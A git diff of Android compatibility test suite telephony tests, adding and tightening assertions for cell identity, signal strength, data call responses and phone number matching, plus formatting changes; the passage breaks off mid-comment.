-        assertEquals(new GsmCellLocation(), gsmCellLocation);
+        assertEquals(tac, gsmCellLocation.getLac());
+        assertEquals(ci, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityLte_unavailable_asCellLocation() {
+        CellIdentity cellIdentity = new CellIdentityLte();
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        // -1 for unintialized lac and cid
+        assertEquals(-1, gsmCellLocation.getLac());
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityNr_asCellLocation() {
+        int tac = 1;
+        CellIdentity cellIdentity =
+                new CellIdentityNr(123, tac, 789, null, null, null, 321, null, null, EMPTY_SET);
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        assertEquals(tac, gsmCellLocation.getLac());
+        // NR cid is 36 bits and can't fit into the 32-bit cid in GsmCellLocation, so always -1.
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in NR so always 0, same as in LTE
+        assertEquals(0, gsmCellLocation.getPsc());
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 6adf5fc..0cf33b1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -57,6 +57,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -66,8 +68,18 @@
 /**
  * Test TelephonyManager.getAllCellInfo()
  * <p>
- * TODO(chesnutt): test onCellInfoChanged() once the implementation
- * of async callbacks is complete (see http://b/13788638)
+ *
+ * Test that the Cellular Location APIs return proper and complete information.
+ * <ul>
+ *     <li>At least one cell must be reported as the registered cell.
+ *     <li>Registered cells must report the technology-specific fields consisting of a globally
+ *         unique cell identifier.
+ *     <li>All cells must report a technology-specific physical cell identifier, such as a tuple
+ *         of the frequency and a phyisical cell ID that allows them to be uniquely identified
+ *         given a known global cell.
+ *     <li>All cells must report at least one valid power measurement.
+ * </ul>
+ *
  */
 public class CellInfoTest {
     private static final String TAG = "android.telephony.cts.CellInfoTest";
@@ -85,7 +97,7 @@
     private static final int MAX_RSSNR = 30;
     private static final int MIN_RSSNR = -20;
     // Maximum and minimum possible CQI values.
-    private static final int MAX_CQI = 30;
+    private static final int MAX_CQI = 15;
     private static final int MIN_CQI = 0;
 
     /**
@@ -125,6 +137,9 @@
     // 3GPP TS 36.101
     private static final int BAND_MIN_LTE = 1;
     private static final int BAND_MAX_LTE = 88;
+    //3GPP TS 136.213 section 7.2.3
+    private static final int CQI_TABLE_INDEX_MIN_LTE = 1;
+    private static final int CQI_TABLE_INDEX_MAX_LTE = 6;
 
     // The followings are parameters for testing CellIdentityWcdma
     // Location Area Code ranges from 0 to 65535.
@@ -148,6 +163,9 @@
     private static final int BAND_FR1_MAX_NR = 95;
     private static final int BAND_FR2_MIN_NR = 257;
     private static final int BAND_FR2_MAX_NR = 261;
+    //3GPP TS 138.214 section 5.2.2.1
+    private static final int CQI_TABLE_INDEX_MIN_NR = 1;
+    private static final int CQI_TABLE_INDEX_MAX_NR = 3;
 
     // 3gpp 36.101 Sec 5.7.2
     private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
@@ -216,6 +234,9 @@
     }
 
     private boolean isCamped() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+
         ServiceState ss = mTm.getServiceState();
         if (ss == null) return false;
         return (ss.getState() == ServiceState.STATE_IN_SERVICE
@@ -592,6 +613,8 @@
         int csiRsrp = nr.getCsiRsrp();
         int csiRsrq = nr.getCsiRsrq();
         int csiSinr = nr.getSsSinr();
+        int csiCqiTableIndex = nr.getCsiCqiTableIndex();
+        List<Integer> csiCqiReport = nr.getCsiCqiReport();
         int ssRsrp = nr.getSsRsrp();
         int ssRsrq = nr.getSsRsrq();
         int ssSinr = nr.getSsSinr();
@@ -603,6 +626,14 @@
                 + csiRsrq, -20 <= csiRsrq && csiRsrq <= -3 || csiRsrq == CellInfo.UNAVAILABLE);
         assertTrue("getCsiSinr() out of range [-23, 40] | Integer.MAX_INTEGER, csiSinr = "
                 + csiSinr, -23 <= csiSinr && csiSinr <= 40 || csiSinr == CellInfo.UNAVAILABLE);
+        assertTrue("getCsiCqiTableIndex() out of range | CellInfo.UNAVAILABLE, csiCqiTableIndex="
+                + csiCqiTableIndex, csiCqiTableIndex == CellInfo.UNAVAILABLE
+                        || (csiCqiTableIndex >= CQI_TABLE_INDEX_MIN_NR
+                                && csiCqiTableIndex <= CQI_TABLE_INDEX_MAX_NR));
+        assertTrue("cqi in getCsiCqiReport() out of range | CellInfo.UNAVAILABLE, csiCqiReport="
+                + csiCqiReport, csiCqiReport.stream()
+                        .allMatch(cqi -> cqi.intValue() == CellInfo.UNAVAILABLE
+                                || (cqi.intValue() >= MIN_CQI && cqi.intValue() <= MAX_CQI)));
         assertTrue("getSsRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, ssRsrp = "
                         + ssRsrp, -140 <= ssRsrp && ssRsrp <= -44
                 || ssRsrp == CellInfo.UNAVAILABLE);
@@ -634,8 +665,7 @@
         // Only physical cell id is available for LTE neighbor.
         int pci = lte.getPci();
         // Physical cell id should be within [0, 503].
-        assertTrue("getPci() out of range [0, 503], pci=" + pci,
-                (pci == CellInfo.UNAVAILABLE) || (pci >= 0 && pci <= PCI));
+        assertTrue("getPci() out of range [0, 503], pci=" + pci, (pci >= 0 && pci <= PCI));
 
         // Tracking area code ranges from 0 to 65535.
         int tac = lte.getTac();
@@ -667,7 +697,7 @@
         }
         assertTrue(
                 "getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
-                earfcn == CellInfo.UNAVAILABLE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
+                (earfcn >= minEarfcn && earfcn <= maxEarfcn));
 
         if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
             int[] bands = lte.getBands();
@@ -677,11 +707,7 @@
             }
         }
 
-        String mobileNetworkOperator = lte.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(lte.getMobileNetworkOperator());
 
         for (String plmnId : lte.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
@@ -699,6 +725,8 @@
                     lte.getMccString() != null || lte.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     lte.getMncString() != null || lte.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(lte.getMobileNetworkOperator()));
         }
     }
 
@@ -741,6 +769,11 @@
         assertTrue("getRssnr() out of range | CellInfo.UNAVAILABLE, rssnr=" + rssnr,
                 rssnr == CellInfo.UNAVAILABLE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
 
+        int cqiTableIndex = cellSignalStrengthLte.getCqiTableIndex();
+        assertTrue("getCqiTableIndex() out of range | CellInfo.UNAVAILABLE, cqi=" + cqiTableIndex,
+                cqiTableIndex == CellInfo.UNAVAILABLE || (cqiTableIndex >= CQI_TABLE_INDEX_MIN_LTE
+                        && cqiTableIndex <= CQI_TABLE_INDEX_MAX_LTE));
+
         int cqi = cellSignalStrengthLte.getCqi();
         assertTrue("getCqi() out of range | CellInfo.UNAVAILABLE, cqi=" + cqi,
                 cqi == CellInfo.UNAVAILABLE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
@@ -810,14 +843,9 @@
         // Verify wcdma primary scrambling code information.
         // Primary scrambling code should be within [0, 511].
         int psc = wcdma.getPsc();
-        assertTrue("getPsc() out of range [0, 511], psc=" + psc,
-                (psc >= 0 && psc <= PSC) || psc == CellInfo.UNAVAILABLE);
+        assertTrue("getPsc() out of range [0, 511], psc=" + psc, psc >= 0 && psc <= PSC);
 
-        String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(wcdma.getMobileNetworkOperator());
 
         int uarfcn = wcdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -840,6 +868,8 @@
                     wcdma.getMccString() != null || wcdma.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     wcdma.getMncString() != null || wcdma.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(wcdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityWcdmaLocationSanitation(wcdma);
@@ -938,19 +968,13 @@
         assertTrue("getArfcn() out of range [0,1024], arfcn=" + arfcn,
                 arfcn == CellInfo.UNAVAILABLE || (arfcn >= 0 && arfcn <= ARFCN));
 
-        String mobileNetworkOperator = gsm.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
-
         int bsic = gsm.getBsic();
-        // TODO(b/32774471) - Bsic should always be valid
-        //assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <=63);
+        assertTrue("getBsic() out of range [0,63]", bsic >= 0 && bsic <= 63);
 
         for (String plmnId : gsm.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
         }
+        verifyPlmnId(gsm.getMobileNetworkOperator());
 
         // If the cell is reported as registered, then all the logical cell info must be reported
         if (isRegistered) {
@@ -960,6 +984,8 @@
                     gsm.getMccString() != null || gsm.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     gsm.getMncString() != null || gsm.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(gsm.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityGsmLocationSanitation(gsm);
@@ -1059,11 +1085,7 @@
         int cpid = tdscdma.getCpid();
         assertTrue("getCpid() out of range [0, 127], cpid=" + cpid, (cpid >= 0 && cpid <= CPID));
 
-        String mobileNetworkOperator = tdscdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(tdscdma.getMobileNetworkOperator());
 
         int uarfcn = tdscdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -1084,6 +1106,8 @@
             assertTrue("CID is required for registered cells", cid != CellInfo.UNAVAILABLE);
             assertTrue("MCC is required for registered cells", tdscdma.getMccString() != null);
             assertTrue("MNC is required for registered cells", tdscdma.getMncString() != null);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(tdscdma.getMobileNetworkOperator()));
         }
 
         verifyCellIdentityTdscdmaLocationSanitation(tdscdma);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
index ed17284..6c61cc3 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellSignalStrengthTest.java
@@ -17,10 +17,16 @@
 package android.telephony.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
 
 import android.telephony.CellSignalStrength;
 import android.telephony.SignalStrength;
 
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -30,6 +36,12 @@
 public class CellSignalStrengthTest {
     private static final String TAG = "CellSignalStrengthTest";
 
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
     /** Check whether NUM_SIGNAL_STRENGTH_BINS holds value 5 as required by
      * {@link SignalStrength#getLevel)} which returns value between 0 and 4. */
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
index 96985cd..ea36271 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/DataCallResponseTest.java
@@ -18,6 +18,8 @@
 
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_DO_FALLBACK;
 import static android.telephony.data.DataCallResponse.HANDOVER_FAILURE_MODE_LEGACY;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_EMBB;
+import static android.telephony.data.SliceInfo.SLICE_SERVICE_TYPE_MIOT;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -26,6 +28,8 @@
 import android.os.Parcel;
 import android.telephony.data.ApnSetting;
 import android.telephony.data.DataCallResponse;
+import android.telephony.data.SliceInfo;
+import android.telephony.data.TrafficDescriptor;
 
 import org.junit.Test;
 
@@ -35,7 +39,7 @@
 
 public class DataCallResponseTest {
     private static final int CAUSE = 0;
-    private static final int RETRY = -1;
+    private static final long RETRY = -1L;
     private static final int ID = 1;
     private static final int LINK_STATUS = 2;
     private static final int PROTOCOL_TYPE = ApnSetting.PROTOCOL_IP;
@@ -51,12 +55,28 @@
     private static final int MTU_V4 = 1440;
     private static final int MTU_V6 = 1400;
     private static final int HANDOVER_FAILURE_MODE = HANDOVER_FAILURE_MODE_DO_FALLBACK;
+    private static final int PDU_SESSION_ID = 5;
+    private static final int TEST_SLICE_DIFFERENTIATOR = 1;
+    private static final int TEST_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_EMBB;
+    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+    private static final SliceInfo SLICE_INFO =
+            new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .build();
+    private static final String DNN = "DNN";
+    private static final String OS_APP_ID = "OS_APP_ID";
+    private static final List<TrafficDescriptor> TRAFFIC_DESCRIPTORS =
+            Arrays.asList(new TrafficDescriptor(DNN, OS_APP_ID));
 
     @Test
     public void testConstructorAndGetters() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -68,10 +88,13 @@
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response.getCause()).isEqualTo(CAUSE);
-        assertThat(response.getSuggestedRetryTime()).isEqualTo(RETRY);
+        assertThat(response.getRetryDurationMillis()).isEqualTo(RETRY);
         assertThat(response.getId()).isEqualTo(ID);
         assertThat(response.getLinkStatus()).isEqualTo(LINK_STATUS);
         assertThat(response.getProtocolType()).isEqualTo(PROTOCOL_TYPE);
@@ -83,13 +106,16 @@
         assertThat(response.getMtuV4()).isEqualTo(MTU_V4);
         assertThat(response.getMtuV6()).isEqualTo(MTU_V6);
         assertThat(response.getHandoverFailureMode()).isEqualTo(HANDOVER_FAILURE_MODE_DO_FALLBACK);
+        assertThat(response.getPduSessionId()).isEqualTo(PDU_SESSION_ID);
+        assertThat(response.getSliceInfo()).isEqualTo(SLICE_INFO);
+        assertThat(response.getTrafficDescriptors()).isEqualTo(TRAFFIC_DESCRIPTORS);
     }
 
     @Test
     public void testEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -101,11 +127,14 @@
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         DataCallResponse equalsResponse = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -117,6 +146,9 @@
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response).isEqualTo(equalsResponse);
@@ -126,7 +158,7 @@
     public void testNotEquals() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -138,11 +170,14 @@
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
                 .setCause(1)
-                .setSuggestedRetryTime(-1)
+                .setRetryDurationMillis(-1)
                 .setId(1)
                 .setLinkStatus(3)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -154,6 +189,9 @@
                 .setMtuV4(1441)
                 .setMtuV6(1440)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE_LEGACY)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         assertThat(response).isNotEqualTo(notEqualsResponse);
@@ -165,7 +203,7 @@
     public void testParcel() {
         DataCallResponse response = new DataCallResponse.Builder()
                 .setCause(CAUSE)
-                .setSuggestedRetryTime(RETRY)
+                .setRetryDurationMillis(RETRY)
                 .setId(ID)
                 .setLinkStatus(LINK_STATUS)
                 .setProtocolType(PROTOCOL_TYPE)
@@ -177,6 +215,9 @@
                 .setMtuV4(MTU_V4)
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
+                .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
+                .setTrafficDescriptors(TRAFFIC_DESCRIPTORS)
                 .build();
 
         Parcel stateParcel = Parcel.obtain();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
index d4e2a28..f5a8477 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/NetworkRegistrationInfoTest.java
@@ -244,10 +244,4 @@
         NetworkRegistrationInfo newNrs = NetworkRegistrationInfo.CREATOR.createFromParcel(p);
         assertEquals(nri, newNrs);
     }
-
-    @Test
-    public void testGetNrState() {
-        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder().build();
-        assertEquals(nri.getNrState(), NetworkRegistrationInfo.NR_STATE_NONE);
-    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..ba8c83f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -395,4 +395,57 @@
         assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
         assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
     }
+
+    @Test
+    public void testAreSamePhoneNumber() {
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+                "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index 92f5e44..3d03392 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -85,17 +85,17 @@
     private boolean mOnPreciseCallStateChangedCalled;
     private boolean mOnCallDisconnectCauseChangedCalled;
     private boolean mOnImsCallDisconnectCauseChangedCalled;
-    private EmergencyNumber mOnOutgoingSmsEmergencyNumberChanged;
     private boolean mOnPreciseDataConnectionStateChanged;
     private boolean mOnRadioPowerStateChangedCalled;
     private boolean mVoiceActivationStateChangedCalled;
     private boolean mSrvccStateChangedCalled;
     private boolean mOnBarringInfoChangedCalled;
-    private boolean mSecurityExceptionThrown;
     private boolean mOnRegistrationFailedCalled;
     private boolean mOnTelephonyDisplayInfoChanged;
-    @RadioPowerState private int mRadioPowerState;
-    @SimActivationState private int mVoiceActivationState;
+    @RadioPowerState
+    private int mRadioPowerState;
+    @SimActivationState
+    private int mVoiceActivationState;
     private BarringInfo mBarringInfo;
     private PreciseDataConnectionState mPreciseDataConnectionState;
     private PreciseCallState mPreciseCallState;
@@ -137,8 +137,8 @@
     @Before
     public void setUp() throws Exception {
         mTelephonyManager =
-                (TelephonyManager)getContext().getSystemService(Context.TELEPHONY_SERVICE);
-        mCm = (ConnectivityManager)getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
         mHandlerThread = new HandlerThread("PhoneStateListenerTest");
         mHandlerThread.start();
         mHandler = new Handler(mHandlerThread.getLooper());
@@ -188,7 +188,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
         });
         synchronized (mLock) {
-            if (!mOnServiceStateChangedCalled){
+            if (!mOnServiceStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -218,7 +218,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
         });
         synchronized (mLock) {
-            if (!mOnServiceStateChangedCalled){
+            if (!mOnServiceStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -232,7 +232,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
         }
         synchronized (mLock) {
-            if (!mOnServiceStateChangedCalled){
+            if (!mOnServiceStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -241,7 +241,7 @@
         // re-register the listener
         mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SERVICE_STATE);
         synchronized (mLock) {
-            if (!mOnServiceStateChangedCalled){
+            if (!mOnServiceStateChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -271,7 +271,7 @@
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_SIGNAL_STRENGTH);
         });
         synchronized (mLock) {
-            if (!mOnSignalStrengthChangedCalled){
+            if (!mOnSignalStrengthChangedCalled) {
                 mLock.wait(WAIT_TIME);
             }
         }
@@ -279,7 +279,7 @@
         assertTrue(mOnSignalStrengthChangedCalled);
     }
 
-    /**
+     /**
      * Due to the corresponding API is hidden in R and will be public in S, this test
      * is commented and will be un-commented in Android S.
      *
@@ -303,8 +303,8 @@
                 }
             };
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
-                (tm) -> tm.listen(mListener,
-                    PhoneStateListener.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH));
+                    (tm) -> tm.listen(mListener,
+                            PhoneStateListener.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH));
         });
         synchronized (mLock) {
             if (mSignalStrength == null) {
@@ -326,54 +326,6 @@
     }
     */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
-     * Validate that SecurityException should be thrown when listen
-     * with LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH without LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH
-     * permission.
-     *
-    @Test
-    public void testOnAlwaysReportedSignalStrengthChangedWithoutPermission() throws Throwable {
